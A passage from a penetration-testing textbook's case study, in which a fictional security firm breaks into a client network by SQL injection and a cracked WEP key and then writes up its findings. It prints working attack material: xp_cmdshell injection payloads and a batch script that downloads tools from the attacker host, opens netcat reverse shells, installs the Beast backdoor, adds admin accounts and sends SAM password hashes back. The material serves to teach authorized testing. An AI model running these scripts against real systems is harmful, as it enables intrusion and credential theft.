that have links to LCN\n•\nNews stories about LCN\nScanning and Enumeration\nThe next step is for Andrew to start in-depth scanning to detect open ports on the firewall \nand even scan the IP address range for other APs in the area. Clare heads off in the Jeep \nwith her wireless kit to locate possible APs hosted by LCN.\nFollowing are the tools that Andrew and Clare use:\n•\nNMap\n•\nNetCat\n•\nTelnet\n•\nNetStumbler \n•\nEthereal\n" }, { "page_number": 538, "text": "Case Study: LCN Gets Tested 511\nExternal Scanning\nAndrew scans the 172.16.0.0/16 network range for active IP addresses, first using ICMP \nand then using NMap TCP and UDP scans. Example 16-2 displays the result from NMap.\nUsing these results, Daniel begins a manual enumeration of the open ports using NetCat \nand Telnet to reveal that the program behind port 80 is an IIS web server running IIS 5.0 \n(Windows 2000). Example 16-3 displays his results on port 80.\nWireless Scanning\nWith her specialized wireless equipment (laptop, wireless card, antenna, GPS, and \nNetStumbler), Clare wardrives around the LCN site and detects a Wired Equivalent Privacy \n(WEP)-encrypted wireless AP called LCN Wireless. Figure 16-4 shows NetStumbler \ndetecting the AP. \nExample 16-2\nNMap Results for the LCN IP Address Range\nC:\\>nmap –sS -O 172.16.0.2\nStarting nmap 3.81 ( http://www.insecure.org/nmap ) at 2005-05-24 01:58 GMT Stan\ndard Time\nInsufficient responses for TCP sequencing (0), OS detection may be less accurate\nInteresting ports on 172.16.0.2:\n(The 1658 ports scanned but not shown below are in state: closed)\nPORT STATE SERVICE\n80/tcp open http\nNo exact OS matches for host \nExample 16-3\nRevealing the LCN IIS Web Server\nC:> nc 172.16.0.2 80\nHTTP/1.1 400 Bad Request\nServer: Microsoft-IIS/5.0\nDate: Tue, 24 May 2005 00:49:02 GMT\nContent-Type: text/html\nContent-Length: 87\nErrorThe parameter is incorrect. \n\n" }, { "page_number": 539, "text": "512\nChapter 16: Case Study: A Methodical Step-By-Step Penetration Test\nFigure 16-4 LCN Wireless AP\nThrough deductive reasoning, Clare decides this must be the AP of LCN. She turns on \nEthereal and starts to sniff the wireless traffic to find an indication of the IP address range \nand NetBIOS broadcast that would reveal domain names. \nGaining Access\nNow that the team has completed the scanning phase, it is on to the next step: gaining \naccess. This step can be quite lengthy, so the team divides into two groups. Andrew and Dan \nwork on penetrating the firewall via the website, and Clare and Hannah work on cracking \nthe wireless encryption to enter the network that way.\nGaining Access via the Website\nDan and Andrew execute NIKTO against the website looking for simple vulnerabilities but \ncome up empty handed. LCN has done a good job of updating and patching the website. \nHowever, the two continue to hack the website until they come across a SQL Injection \nvulnerability. Dan analyzes the traffic that is being sent to the server when he enters a value \ninto the Parts Search feature of the website. He monitors what the Submit button sends to \nthe web server and starts to modify the POST-ed data by changing his search criteria from \n“1111” to “1111’ or 1=1 –”. This results not only in data for part 1111 to be returned, but \ndata for all parts because 1=1 is always true and causes the entire table of parts to come \nback. With this knowledge, the team can be fairly certain that the back end is SQL Server. \n" }, { "page_number": 540, "text": "Case Study: LCN Gets Tested 513\nDan and Andrew take a chance that it has been installed with the default local system \naccount and devise the following plan:\n1 They collect some essential tools into a .zip file called minitools.zip, which they will \nlater download to the victim and use to scan the internal network. Table 16-2 is a list \nof the tools they will be taking.\n2 They create a cmd script that automates information gathering and backdoor creation \n(see Example 16-4). Read the comments for what it is actually doing. (The IP address \n172.16.0.13 is the attacking computer at DAWN.)\nTable 16-2\nBasic Tool Set Downloaded to the Victim\nTool Type\nTool\nScanning\nHping2\nipEye\nNMap\nPinger\ntraceroute\nEnumeration\nEnum\npwdump3v2\nSid2User\nEscalate\nPipUpAdmin\nMiscellaneous\nPsexec\nBackdoors\nBeast_trojan\nNetCat\nTini\nCovering Tracks\nAuditPol\nElSave\nNt_rootkit0.40\nSniffing\nWinDump\nWinPcap\nExample 16-4\nAutomated Script \n@ECHO OFF\nECHO ************************\nECHO Super Script Download and Install\nECHO Works on most 2000, XP, and 2003\nECHO Created by Daniel and Clare Newman\nECHO ************************\ncontinues\n" }, { "page_number": 541, "text": "514\nChapter 16: Case Study: A Methodical Step-By-Step Penetration Test\n3 Using SQL Injection, they execute xp_cmdshell via the website and upload the \nautomated script to the web server (or SQL Server) using the following syntax they \nadded to the POST command:\n11111’ or 1=1; EXEC master..xp_cmdshell ’tftp -i 172.16.0.13 GET ejgo.cmd \nc:\\ejgo.cmd’ -- \nECHO ********** GENERAL INFO ************\ncd \\\nECHO ********** CREATE DIRECTORY ************\nmd c:\\ejtools\nECHO ********** COPY DOWN TOOLS ************\ntftp.exe -i 172.16.0.13 GET minitools.zip c:\\ejtools\\minitools.zip\nECHO ********** COPY DOWN PKZIP ************\ntftp.exe -i 172.16.0.13 GET pkzip.exe c:\\ejtools\\pkzip.exe\nECHO ********** EXTRACT TOOLS ************\ncd c:\\ejtools\nc:\\ejtools\\pkzip.exe -extract -overwrite minitools.zip\nECHO ********** START NC and CONNECT TO DAWN AT PORT 53 ************\nstart cmd.exe /c c:\\ejtools\\nc.exe -d -e cmd.exe 172.16.0.13 53\nECHO ********** START NC and CONNECT TO DAWN AT PORT 80 ************\nstart cmd.exe /c c:\\ejtools\\nc.exe -d -e cmd.exe 172.16.0.13 80\nECHO ********** START Beast BACKDOOR THAT REVERSE CONNECTS TO DAWN AT PORT 8080 *****\nc:\\ejtools\\server.exe\nECHO ********** CREATE NEW USERS ************\nnet user eviljimmy Password1 /ADD\nnet user ServicesUser Password1 /ADD\nECHO ********** ADD USER TO LOCAL ADMIN GROUP ************\nnet localgroup administrators /ADD eviljimmy\nnet localgroup administrators /ADD ServicesUser\nECHO ********** EXTRACT SAM ************\nc:\\ejtools\\pwdump3 localhost sam.txt\nECHO ********** PUSH SAM OUTPUT BACK TO DAWN’S OFFICES ************\ntftp.exe -i 172.16.0.13 PUT sam.txt\nECHO ********** START COLLECTOR SCRIPT THAT EXTRACT DETAILS ABOUT THE VICTIM *******\nc:\\ejtools\\ejCollector.bat > c:\\ejtools\\systeminfo.txt\nExample 16-4\nAutomated Script (Continued)\n" }, { "page_number": 542, "text": "Case Study: LCN Gets Tested 515\n4 Now that the script is uploaded, they make the remote victim execute it with the \nfollowing command:\n11111’ or 1=1; EXEC master..xp_cmdshell ’c:\\ejgo.cmd’ -- ’\n5 The script does the following:\na\nExtracts minitools.zip\nb\nStarts NetCat and reverses the cmd shell to the attacker\nc\nStarts Beast as a backdoor configured to create a reverse shell to the IP address of \nthe attacker\nd\nCreates user accounts on the computer\ne\nExtracts the usernames and passwords from the SAM database\nf\nCollects system information from the computer\nOn their attacking computer, they see an NC shoveled shell being sent, and they see the \nsecond backdoor application, Beast, connect to their computer. Dan and Andrew use the \ncommands in Example 16-5 to collect as much detail as possible about the computer they \nare connecting to. \nExample 16-5\nInformation Gathering with Windows Commands \n@ECHO OFF\nECHO ************************\nECHO Information Collection bat file\nECHO Works on most 2000, XP, and 2003\nECHO Created by Daniel and Clare Newman\nECHO ************************\ncd \\\nECHO ********** GENERAL INFO ************\nver\nsysteminfo\nwhoami\nhostname\nVol\nECHO ********** USER INFO ************\nnet user\nnet localgroup\nnet localgroup administrators\nnet accounts\nECHO ********** SERVICES AND TASKS INFO ************\nsc query type= service state= all\ntasklist\ncontinues\n" }, { "page_number": 543, "text": "516\nChapter 16: Case Study: A Methodical Step-By-Step Penetration Test\nExample 16-6 displays highlights of the information pulled back from the standard \nWindows commands executed in Example 16-5. The results are extensive, so they have \nbeen truncated for readability.\nECHO ********** NETWORKING INFO ************\nipconfig /all\nroute print\narp -a\nnetstat /a /n\nnbtstat /n\nnbtstat /c\nipconfig /displaydns\nECHO ********** SCHEDULES AND AT INFO ************\nschtasks /query\nat\nECHO ********** EVENT VIEWER INFO ************\ncscript //h:cscript /s\neventquery /l ”application”\neventquery /l ”security”\neventquery /l ”system”\nECHO ********** FOLDER AND FILE LOCATIONS INFO ************\nCd \\\ntree /F /A\nExample 16-6\nInformation Gathering Details \n************************\nInformation Collection bat file\nWorks on most 2000, XP, and 2003\nCreated by Daniel and Clare Newman\n************************\n********** GENERAL INFO ************\nMicrosoft Windows [Version 5.2.3790]\nHost Name: SQL1\nOS Name: Microsoft(R) Windows(R) Server 2003, Enterprise Edition\nOS Version: 5.2.3790 Build 3790\nOS Manufacturer: Microsoft Corporation\nOS Configuration: Standalone Server\nOS Build Type: Multiprocessor Free\nRegistered Owner: LCNAdmin\nRegistered Organization: \nProduct ID: 69713-640-1095411-45862\nOriginal Install Date: 12/09/2004, 01:47:23\nSystem Up Time: 0 Days, 1 Hours, 24 Minutes, 47 Seconds\nSystem Manufacturer: System Manufacturer\nExample 16-5\nInformation Gathering with Windows Commands (Continued)\n" }, { "page_number": 544, "text": "Case Study: LCN Gets Tested 517\nSystem Model: System Name\nSystem Type: X86-based PC\nProcessor(s): 2 Processor(s) Installed.\n [01]: x86 Family 15 Model 3 Stepping 4 GenuineIntel ~3000 Mhz\n [02]: x86 Family 15 Model 3 Stepping 4 GenuineIntel ~3000 Mhz\nBIOS Version: ASUS - 42302e31\nWindows Directory: C:\\WINDOWS\nSystem Directory: C:\\WINDOWS\\system32\nBoot Device: \\Device\\HarddiskVolume1\nSystem Locale: en-us;English (United States)\nInput Locale: en-us;English (United States)\nTime Zone: (GMT-08:00) Pacific Time (US & Canada); Tijuana\nTotal Physical Memory: 992 MB\nAvailable Physical Memory: 650 MB\nPage File: Max Size: 3,388 MB\nPage File: Available: 2,714 MB\nPage File: In Use: 674 MB\nPage File Location(s): C:\\pagefile.sys\nDomain: WORKGROUP\nLogon Server: N/A\nHotfix(s): 1 Hotfix(s) Installed.\n [01]: Q147222\nNetwork Card(s): 1 NIC(s) Installed.\n [01]: SiS 900-Based PCI Fast Ethernet Adapter\n Connection Name: Local Area Connection\n DHCP Enabled: No\n IP address(es)\n [01]: 192.168.200.100\nnt authority\\system\nSQL1\n Volume in drive C has no label.\n Volume Serial Number is F88E-6D8A\n********** USER INFO ************\nUser accounts for \\\\\n-------------------------------------------------------------------------------\nAdministrator eviljimmy Guest \nIUSR_SVR1 IWAM_SVR1 ServicesUser \nSUPPORT_388945a0 \nThe command completed with one or more errors.\nAlias name administrators\nComment Administrators have complete and unrestricted access to the computer/\ndomain\nMembers\n---\nAdministrator\neviljimmy\nServicesUser\nExample 16-6\nInformation Gathering Details (Continued)\ncontinues\n" }, { "page_number": 545, "text": "518\nChapter 16: Case Study: A Methodical Step-By-Step Penetration Test\nThe command completed successfully.\nForce user logoff how long after time expires?: Never\nMinimum password age (days): 0\n\\Maximum password age (days): 42\nMinimum password length: 0\nLength of password history maintained: None\nLockout threshold: Never\nLockout duration (minutes): 30\nLockout observation window (minutes): 30\nComputer role: SERVER\n********** SERVICES AND TASKS INFO ************\nSERVICE_NAME: Alerter\nDISPLAY_NAME: Alerter\n TYPE : 20 WIN32_SHARE_PROCESS \n STATE : 1 STOPPED \n (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN))\n WIN32_EXIT_CODE : 1077 (0x435)\n SERVICE_EXIT_CODE : 0 (0x0)\n CHECKPOINT : 0x0\n WAIT_HINT : 0x0\n…\n********** NETWORKING INFO ************\nWindows IP Configuration\n Host Name . . . . . . . . . . . . : SQL1\n Primary Dns Suffix . . . . . . . : \n Node Type . . . . . . . . . . . . : Unknown\n IP Routing Enabled. . . . . . . . : No\n WINS Proxy Enabled. . . . . . . . : No\nEthernet adapter Local Area Connection: Connection-specific DNS Suffix . : \nDescription . . . . . . . . . . . : SiS 900-Based PCI Fast Ethernet Adapter Physical \nAddress. . . . . . . . . : 00-50-56-EE-EE-EE DHCP Enabled. . . . . . . . . . . : \nNo IP Address. . . . . . . . . . . . : 192.168.200.100 Subnet Mask . . . . . . \n. . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.200.254\nIPv4 Route Table\n===========================================================================\nInterface List\n0x1 ........................... MS TCP Loopback interface\n0x10003 ...00 50 56 ee ee ee .\n................. SiS 900-Based PCI Fast Ethernet Adapter\n===========================================================================\n===========================================================================\nActive Routes:\nNetwork Destination Netmask Gateway Interface Metric\n 0.0.0.0 0.0.0.0 192.168.200.254 192.168.200.100 20\n 127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1\n 192.168.200.0 255.255.255.0 192.168.200.100 192.168.200.100 20\n 192.168.200.100 255.255.255.255 127.0.0.1 127.0.0.1 20\n 192.168.200.255 255.255.255.255 192.168.200.100 192.168.200.100 20\n 224.0.0.0 240.0.0.0 192.168.200.100 192.168.200.100 20\nExample 16-6\nInformation Gathering Details (Continued)\n" }, { "page_number": 546, "text": "Case Study: LCN Gets Tested 519\n 255.255.255.255 255.255.255.255 192.168.200.100 192.168.200.100 1\nDefault Gateway: 192.168.200.254\n===========================================================================\nPersistent Routes:\n None\nInterface: 192.168.200.100 --- 0x10003\n Internet Address Physical Address Type\n 192.168.200.21 00-11-2f-0f-6e-db dynamic \n 192.168.200.254 00-0c-30-85-56-41 dynamic \nActive Connections\n Proto Local Address Foreign Address State\n TCP 0.0.0.0:23 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:53 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:80 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:135 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:445 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:1029 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:1031 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:1434 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:2382 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:2383 0.0.0.0:0 LISTENING\n TCP 127.0.0.1:445 127.0.0.1:1180 ESTABLISHED\n TCP 127.0.0.1:1180 127.0.0.1:445 ESTABLISHED\n TCP 192.168.200.100:139 0.0.0.0:0 LISTENING\n TCP 192.168.200.100:1178 172.16.0.13:53 ESTABLISHED\n TCP 192.168.200.100:1433 192.168.200.21:1046 ESTABLISHED\n UDP 0.0.0.0:161 *:* \n UDP 0.0.0.0:445 *:* \n UDP 0.0.0.0:500 *:* \n UDP 0.0.0.0:1028 *:* \n UDP 0.0.0.0:1030 *:* \n UDP 0.0.0.0:1032 *:* \n UDP 0.0.0.0:1133 *:* \n UDP 0.0.0.0:1434 *:* \n UDP 0.0.0.0:4500 *:* \n UDP 127.0.0.1:53 *:* \n UDP 127.0.0.1:123 *:* \n UDP 127.0.0.1:1027 *:* \n UDP 192.168.200.100:53 *:* \n UDP 192.168.200.100:67 *:* \n UDP 192.168.200.100:68 *:* \n UDP 192.168.200.100:123 *:* \n UDP 192.168.200.100:137 *:* \n UDP 192.168.200.100:138 *:* \nExample 16-6\nInformation Gathering Details (Continued)\n" }, { "page_number": 547, "text": "520\nChapter 16: Case Study: A Methodical Step-By-Step Penetration Test\nAndrew probes the back end of the firewalls to discover two firewalls in a stacked DMZ \nconfiguration, as shown in Figure 16-5. He runs NMap against one of them and determines \nthat Telnet is enabled, and it is a Cisco PIX firewall, as Example 16-7 demonstrates.\nMeanwhile, Daniel starts into the database server and collects the database version showing \nthat it is the new SQL 2005 installation. Example 16-8 displays the syntax and output \nproduced.\nExample 16-7\nDiscovering Cisco PIX Firewall Information\nMicrosoft Windows XP [Version 5.1.2600]\n Copyright 1985-2001 Microsoft Corp.\nC:\\>nc -vv -L -p 80\nlistening on [any] 80 ...\nMicrosoft Windows [Version 5.2.3790]\n Copyright 1985-2003 Microsoft Corp.\nC:\\ejtools>whoami\nwhoami\nnt authority\\system\nC:\\ejtools>hostname\nhostname\nSQL1\nC:\\nmap -sS -O 192.168.200.254\nStarting nmap V. 3.00 ( www.insecure.org/nmap )\nInteresting ports on 192.168.200.254:\n(The 1661 ports scanned but not shown below are in state: closed)\nPORT STATE SERVICE\n23/tcp open telnet\n1467/tcp open csdmbase\nMAC Address: 00:0C:30:85:56:41 (Cisco)\nDevice type: firewall\nRunning: Cisco PIX 5.X|6.X\nOS details: Cisco PIX Firewall (PixOS 5.2 - 6.1), Cisco PIX Firewall running PIX\n 6.2 - 6.3.3\nNmap finished: 1 IP address (1 host up) scanned in 23.453 seconds\nC:\\\nExample 16-8\nCollecting Database Version Information \nMicrosoft Windows XP [Version 5.1.2600]\n Copyright 1985-2001 Microsoft Corp.\nC:\\>nc -vv -L -p 53\nlistening on [any] 53 ...\nMicrosoft Windows [Version 5.2.3790]\n Copyright 1985-2003 Microsoft Corp.\nC:\\ejtools>whoami\nwhoami\n" }, { "page_number": 548, "text": "Case Study: LCN Gets Tested 521\nFrom the compromised information, Dan and Andrew deduce that the web server is a \nWindows 2000 computer that pushes database requests to a Windows 2003 Server running \nSQL Server 2005 (Yukon). Figure 16-5 displays the predicted network layout. \nFigure 16-5 Predicted Network Layout\nNow that Dan and Andrew have fully compromised the computer, they turn their efforts to \nthe rest of the network. By using tools such as NMap, they can quickly map the internals \nof the LCN network. Figure 16-6 displays what they have found in a neat network map \nformat.\nnt authority\\system\nC:\\ejtools>hostname\nhostname\nSQL1\nC:\\ejtools>osql -E\nosql -E\nSELECT @@version\nGO\nMicrosoft SQL Server Yukon - 9.00.852 (Intel X86)\n Jul 19 2004 22:09:12 Copyright 1988-2003\n Microsoft Corporation\n Beta Edition on Windows NT 5.2 (Build 3790: )\nExample 16-8\nCollecting Database Version Information (Continued)\nInternet\nPIX\nFirewall\nSQL1\nWindows 2003\nSQL Server 2005\nWEB1\nWindows 2000\nIIS 5.0\nPIX\nFirewall\n" }, { "page_number": 549, "text": "522\nChapter 16: Case Study: A Methodical Step-By-Step Penetration Test\nFigure 16-6 Internal Network\nGaining Access via Wireless\nClare has already discovered an LCN AP, but she can see from NetStumbler that it is \nsecured using WEP. Fortunately, she can also see that it appears to be a NETGEAR AP; \ntherefore, it should be easy to crack the WEP key if enough network traffic is available. \nWithout sufficient WEP-encrypted traffic, Clare has little chance of discovering the WEP \nkey. Also, this is one element of penetration testing that does not generally lend itself to \nweekend work. \nFollowing are the tools that Clare uses:\n•\nNetStumbler\n•\nEthereal \n•\nAirSnort\nShe uses a Windows XP setup on her laptop with AirSnort installed and running over a \nCisco Aironet wireless adapter. AirSnort is configured as follows:\n•\nMonitored channel = 6 \n•\n40-bit crack breadth = 4 \n•\n128-bit crack breadth = 3\nPIX\nFirewall\nDev1\nWindows XP\nFrontD1\nWindows XP\nTec2\nWindows XP\nTec1\nWindows XP\nClare\nWindows XP\nSales2\nWindows XP\nHPPrint1\nSales1\nWindows XP\nLCNF1\nWindows 2000\nLCNDC1\nWindows 2003\nSQL1\nWindows 2003\nSQL Server 2005\nLCNAP1\n" }, { "page_number": 550, "text": "Case Study: LCN Gets Tested 523\nAfter setting AirSnort to capture the traffic, Clare can only sit back and wait. However, after \ntwo hours, and with the overall traffic captured quite low, she is not feeling hopeful of \nsuccess. Then she sees a group of men entering the building. Ten minutes later, AirSnort \nbegins to rack up more interesting packets. She offers up a thank you for dedicated weekend \nworkers (with wireless connectivity).\nJust over three hours later, AirSnort produces a result. With more than 12 million encrypted \npackets captured and 3000 interesting packets, the 40-bit WEP key is successfully cracked. \n(See Figure 16-7.) Those guys had been busy, although a peek at Ethereal did show \nextensive traffic on port 666. (The classic game DOOM from ID Software uses that port.)\nFigure 16-7 WEP Key Cracked Using AirSnort\nClare now authenticates and associates with the wireless network, acquiring an IP address \nvia Dynamic Host Configuration Protocol (DHCP). Checking out the IP configuration, and \nafter a quick call to Dan and Andrew, she confirms she is indeed on the same subnet as the \nwired network. Example 16-9 shows the IP configuration the Clare obtained from the \ninternal LCN DHCP server.\nExample 16-9\nClare’s IP Configuration Once Connected to LCN\nC:>ipconfig /all\n...\n Connection-specific DNS Suffix . :\n Physical Address. . . . . . . . . : 08-00-46-F3-14-72\n Dhcp Enabled. . . . . . . . . . . : Yes\n Autoconfiguration Enabled . . . . : Yes\n IP Address. . . . . . . . . . . . : 192.168.200.20\n Subnet Mask . . . . . . . . . . . : 255.255.255.0\n Default Gateway . . . . . . . . . : 192.168.200.254\n DHCP Server . . . . . . . . . . . : 192.168.200.99\n Lease Obtained. . . . . . . . . . : 26 May 2005 18:06:19\n Lease Expires . . . . . . . . . . : 26 May 2005 18:06:19\nC:\\>\n" }, { "page_number": 551, "text": "524\nChapter 16: Case Study: A Methodical Step-By-Step Penetration Test\nMaintain Access\nDuring the Gaining Access phase, the team created three backdoors—two NetCat and one \nBeast—that gave them continuous access to the internal network during testing. They also \ncreated two user accounts with administrator privileges just in case they might need them \nlater. To enhance their backdoor access in the event of a power failure, they could schedule \nNetCat to launch a new reverse connection every hour back to DAWN, or better yet just \nattack via the wireless AP that Clare found.\n Covering Tracks\nThis phase or step of the pen test normally requires the team to prove that it can get in and \nget out while undetected by LCN log or audit files. However, LCN decided that it did not \nwant a log file or audit tampering, so the team will not perform tests here. Following is a \nlist of tools the team could have used:\n•\nEvent Viewer\n•\nElSave\n•\nAuditPol\n•\nWinZapper\nWriting the Report \nWhen the time finally runs out and the clock stops, the team collates all the information into \nreport form for the customer. Every company approaches report writing a little differently, \nand some do not even write reports. For example, Nessus creates a great report from all the \ntests and vulnerabilities it tests against the network. This Nessus report is nice and pretty, \nand some companies just hand this to the customer. In this scenario, most of the penetration \nwas performed manually, so DAWN Security has to port those details into a report itself. \n" }, { "page_number": 552, "text": "DAWN Security 525\nNetwork Security Penetration Test\nConducted on behalf of Little Company Network Inc.\nAuthors: Daniel Newman, Andrew Whitaker\nVersion: 1.0\nDate:05/05/05\nCompany Name: \nLCN, Little Company Network\nTitle:\nPenetration Test (Black Box)\nDate:\nMay, 2005\nDocument Classification:\nConfidential\nObjective\nThe test was commissioned and conducted to determine potential vulnerabilities at the perimeter of the \nLCN network infrastructure. \nMethodology\nThe test was conducted as a black-box test with only the following information made \navailable:\n•\nWebsite\n•\nPhysical site location (wireless)\nWith no prior knowledge of the company or its network infrastructure, the testing strategy \nwas to take the approach of a malicious attacker. Probing the attack surface was to take \nplace, and this was broken down into the following elements:\n•\nWebsite\n•\nWireless networking\nDAWN Security\nDAWN Security Phone: 555 111 2222\nXXXXXXXXX Fax: 555 111 2233\nXXXXXXXXX E-Mail: enquiries@dawnsec.com\n URL: http://www.dawnsec.com\nExecutive Summary\n" }, { "page_number": 553, "text": "526\nChapter 16: Case Study: A Methodical Step-By-Step Penetration Test\nFindings\nThe nature of the test dictated that we would obtain as much information as possible in 24 hours. Our \nfindings reflect this.\nSummary\nGraphical Summary \nFigure 16-8 summarizes the vulnerabilities as detailed above. The severity levels can be interpreted as \nfollows:\nTest\nResult\nSeverity Level\nTrace Route\nWebsite location is in Corvallis Oregon.\nLow\nWireless Access\nWEP authentication in use and noncommercial standard hardware in \nuse.\nHigh\nPort Scan\nOnly Port 80 is open on the external; all internal ports are open.\nLow/High\nFirewall Security\nExternal is fine; however, the internal has Telnet enabled, allowing \neasy access to the device.\nLow/High\nService Pack \nManagement\nServers were service-packed to current or near-current level.\nMedium\nWeb Server Security Server not inherently insecure, but hosted application poses \nsignificant risk.\nCritical\nNetwork Privileges \nUnknown computers can connect to the network.\nHigh\nDatabase Security\nInappropriate use of sa account and vulnerable to SQL injection \nattacks. SQL Server service is being executed by the Local System \nAccount.\nCritical\nFTP Server Security\nNo vulnerable FTP access discovered.\nUnknown\nMail Server Security Insufficient time available to test mail services. No mail server was \nfound.\nUnknown\nLevel\nDescription\nLow\nLittle risk of exploitation. No recommendation to take immediate remedial action.\nMedium\nLimited risk in isolation, but might have an impact in combination with other discovered \nvulnerabilities. Recommendations should be noted and scheduled for implementation.\nHigh\nKnown vulnerability with a high probability of exploitation. Recommendations should be acted upon \nimmediately.\nCritical\nKnown vulnerability with cursory exploitation. Remedial work should be immediate.\n" }, { "page_number": 554, "text": "DAWN Security 527\nFigure 16-8 Risk Severity Level\nTechnical Testing Report\nBlack-Box Testing\nTrace Route Security\nSeverity\nLow.\nSummary\nTracert and TraceRoute command displayed the location of the web server.\nRecommendations\nDisable ICMP traffic on the firewall.\nWireless Network\nSeverity\nHigh.\nSummary\nWEP was able to be cracked in a matter of hours using standard equipment.\nRecommendations\nRemove all current wireless access points.\nReplace access points with devices that contain better security than WEP, such as WPA.\nPort Scan\nSeverity\nLow/High.\nSummary\nExternal port scans revealed good security on the firewall. Only port 80 was open for \nattack. However, internal network port scans revealed the entire network and identified \ninternal operating systems. \nRecommendations\nDisable all unused services and applications on computers. \nEnable IPSec for internal network traffic.\nLow\n25%\nMedium\n8%\nHigh\n33%\nCritical\n17%\nUnknown\n17%\nRisk Severity Levels\n" }, { "page_number": 555, "text": "528\nChapter 16: Case Study: A Methodical Step-By-Step Penetration Test\nFirewall\nSeverity\nLow/High.\nSummary\nNo external access for the firewall was detected; however, the internal side of the firewall \nhas Telnet enabled on it, allowing a potential access point to inside the firewall.\nRecommendations\nDisable Telnet on the firewall.\nUse SSH if remote configuration is required.\nDisable ICMP on both sides of the firewall.\nLink firewall username and passwords with TACACS+ or RADIUS servers.\nService Pack Management\nSeverity\nMedium.\nSummary\nSeveral computers are service packed to a fairly current level.\nRecommendations\nStay up-to-date on all hot fixes and service packs.\nImplement a policy for updating.\nImplement automatic updating.\nWeb Server\nSeverity\nCritical.\nSummary\nWeb server itself is fairly secure; however, the application (website) is not secure. SQL \ninjection attacks allowed complete access to the internal network.\nRecommendations\nHave website developers rework the website and prevent SQL injection attacks.\nNetwork Privileges\nSeverity\nHigh.\nSummary\nAny unknown computer is allowed access to the network.\nRecommendations\nPort security on switches can help to increase security by only allowing known MAC \naddress on the network.\n" }, { "page_number": 556, "text": "DAWN Security 529\nThis section of the report could contain all of the network maps and enumerations carried \nout for each of the computers within the LCN networks for verboseness.\nDatabase Security\nSeverity\nCritical.\nSummary\nThe website was found to be vulnerable to SQL injection attacks, allowing a malicious \nattacker to query the internal database for all of its information. As a result, the attacker \ncan steal the entire contents of the database.\nThe connection string used to access the database from the web application granted an \nunnecessary level of privilege at the database level. It was discovered to be using the sa \n(System Administrator) login. \nAs a result of the above, an attacker would have the means and privileges to execute any \nvalid SQL command against the database server.\nRecommendations\nImplement tighter input validation.\nReplace any direct SQL statements with stored procedures.\nConfigure the web application to connect to the database under an account with only the \nprivileges it requires to function.\nChange the service account used by SQL Server from the local system account to a \nstandard user.\nFTP Server\nSeverity\nUnknown.\nSummary\nNo FTP servers were found in the time frame given.\nRecommendations\nNone.\nMail Server\nSeverity\nUnknown.\nSummary\nNo mail servers were found, and time did not permit access to find them.\nRecommendations\nPerform penetration test that targets this area.\n" }, { "page_number": 557, "text": "530\nChapter 16: Case Study: A Methodical Step-By-Step Penetration Test\nPresenting and Planning the Follow-Up\nThe final step of the report consists of presenting the report to the company and discussing \nthe findings. Typically, the customer wants you to give total iron-clad fixes for him; \nhowever, the liability of saying something like, “Oh, yes. SP 2 will totally protect you” is \navoided at all possible costs. Leaving the fixes to the customer is the best practice. The \nmeeting tends to be around a table, with the systems administrators reviewing items in the \nreport line by line. It might be beneficial to demonstrate vulnerabilities of the customer \nsystem. After the customer is satisfied, the only copy of the report is handed over, and all \nnotes and scripts used to penetrate the LCN network are destroyed. \nThe last point to make to LCN is to determine when it would like to do the follow-up. Even \nif LCN implements all the changes to help secure its network, the penetration team needs \nto test these fixes again and again. Every day, new methods and techniques are discovered. \nRegularly scheduling a penetration test helps to minimize company risk.\n" }, { "page_number": 558, "text": "TTThhhiiisss pppaaagggeee iiinnnttteeennntttiiiooonnnaaallllllyyy llleeefffttt bbblllaaannnkkk \n" }, { "page_number": 559, "text": "" }, { "page_number": 560, "text": "P A R T III\nAppendixes\nAppendix A\nPreparing a Security Policy\nAppendix B\nTools\nGlossary\n" }, { "page_number": 561, "text": "" }, { "page_number": 562, "text": "A P P E N D I X A\nPreparing a Security Policy\nThe infamous security policy! What is it, what is in it, who creates it, and who enforces it? \nThese are just some of the questions that a junior security officer has when the term security \npolicy is mentioned. Creating your first functional e-mail usage security policy can be a \ndaunting experience. You wonder if you will get it right and if the company will believe in \nthe need for such a document. It takes abundant information gathering and preparation to \ngain company acceptance of why it should expend time and effort on a policy document \nthat states some common sense things like, “Don’t use company e-mail servers as a central \nspam server for your home business.” In the end, however, your managers will feel \nconfident that they have a simple written document that they can use to enforce compliance \non their employees and uphold the integrity of the company.\nUltimately, any weakness found during the process of penetration testing is not a flaw in the \ntechnology. Instead, it is a problem with noncompliance to an existing security policy or the \nlack of coverage in a policy (or, worse yet, no policy at all!). This appendix provides an \noverview of what you need to create your first security policy and what you should expect \nto find contained within it. \nWhat Is a Security Policy?\nThe Site Security Handbook (RFC 2196) states the following:\nThe main purpose of a security policy is to inform users, staff, and managers of their \nobligatory requirements for protecting technology and information assets.\nA security policy is vital to any organization and provides a framework inside of which \npeople can work safely. The policy provides staff with clear information about \nresponsibilities in the handling of resources and information. In addition, the policy details \nthe meaning of acceptable use and any prohibited activities. Establishing a security policy \nlessens the risk of a potential security breach. For example, by raising awareness about how \nsomeone can inadvertently divulge information by improper use of the Internet, a company \ncan limit the threat of this occurring. \nThe policy is also a living, ever-changing document that describes what assets you are \ntrying to protect, from whom you are trying to protect them, what likely threat exists, and \nhow you intend to provide this protection. The document can be 1 to 2 pages or 1400 pages \nlong, depending on what you want to cover. \n" }, { "page_number": 563, "text": "536\nAppendix A: Preparing a Security Policy\nRisk Assessment\nBefore you start on the security policy document, you need to perform a risk assessment to help \nall parties understand the cost of losing something, what it actually is they have to lose, and how \nthey can lose it. For example, what is the risk should your building experience total power \nfailure? How much will it cost the company if it is effectively shut down for an extended period \nof time? This is what your risk assessment helps to flush out. What if your ISP cuts off your \nservice because of spamming and hacking attacks coming from your IP address? How long can \nyou be without Internet access as a company, and how much will it cost? Following are three \nmain points you should always be thinking about when creating your policy:\n• What are 